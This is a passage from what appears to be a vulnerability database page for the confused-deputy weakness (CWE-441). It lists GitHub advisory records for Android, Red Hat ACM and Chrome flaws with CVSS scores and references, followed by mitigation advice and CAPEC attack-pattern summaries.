"aliases": [
"CVE-2025-48532"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-04T19:15:39Z",
"severity": "HIGH"
},
"details": "In markMediaAsFavorite of MediaProvider.java, there is a possible way to bypass the WRITE_EXTERNAL_STORAGE permission due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
"id": "GHSA-cf4x-9jj3-94w2",
"modified": "2025-09-04T21:31:38Z",
"published": "2025-09-04T21:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48532"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2025-09-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CHV5-WGPQ-794P
Vulnerability from github – Published: 2026-09-15 21:31 – Updated: 2026-09-15 21:31In multiple files, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2026-56992"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T19:17:30Z",
"severity": "MODERATE"
},
"details": "In multiple files, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-chv5-wgpq-794p",
"modified": "2026-09-15T21:31:18Z",
"published": "2026-09-15T21:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56992"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/pixel/2026/2026-09-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CJW2-R57R-PWVF
Vulnerability from github – Published: 2026-08-12 03:31 – Updated: 2026-08-27 06:31A flaw was found in multicloud-integrations, a component of Red Hat Advanced Cluster Management (RHACM). This vulnerability allows an authenticated user, referred to as a tenant, to manipulate the GitOpsCluster controller. By exploiting this, a tenant can redirect sensitive spoke cluster bearer tokens from secure locations to a namespace they control. This unauthorized access to tokens can lead to the disclosure of critical information and bypass security policies within ArgoCD AppProjects.
{
"affected": [],
"aliases": [
"CVE-2026-70398"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T02:16:38Z",
"severity": "CRITICAL"
},
"details": "A flaw was found in multicloud-integrations, a component of Red Hat Advanced Cluster Management (RHACM). This vulnerability allows an authenticated user, referred to as a tenant, to manipulate the GitOpsCluster controller. By exploiting this, a tenant can redirect sensitive spoke cluster bearer tokens from secure locations to a namespace they control. This unauthorized access to tokens can lead to the disclosure of critical information and bypass security policies within ArgoCD AppProjects.",
"id": "GHSA-cjw2-r57r-pwvf",
"modified": "2026-08-27T06:31:22Z",
"published": "2026-08-12T03:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70398"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60386"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60387"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60388"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60389"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60390"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60391"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-70398"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2514228"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CPQR-C57W-R93W
Vulnerability from github – Published: 2026-09-09 03:30 – Updated: 2026-09-09 15:35Confused deputy in DataTransfer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-87582"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-09T01:17:16Z",
"severity": "HIGH"
},
"details": "Confused deputy in DataTransfer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-cpqr-c57w-r93w",
"modified": "2026-09-09T15:35:02Z",
"published": "2026-09-09T03:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87582"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0808145027.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/500094528"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CVJQ-R2QM-HR62
Vulnerability from github – Published: 2025-09-04 21:31 – Updated: 2025-09-05 18:31In getContextForResourcesEnsuringCorrectCachedApkPaths of RemoteViews.java, there is a possible way to load arbitrary java code in a privileged context due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2025-22441"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-04T19:15:34Z",
"severity": "HIGH"
},
"details": "In getContextForResourcesEnsuringCorrectCachedApkPaths of RemoteViews.java, there is a possible way to load arbitrary java code in a privileged context due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
"id": "GHSA-cvjq-r2qm-hr62",
"modified": "2025-09-05T18:31:19Z",
"published": "2025-09-04T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22441"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2025-08-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Enforce the use of strong mutual authentication mechanism between the two parties.
Mitigation
Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.
CAPEC-219: XML Routing Detour Attacks
An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.
CAPEC-465: Transparent Proxy Abuse
A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client.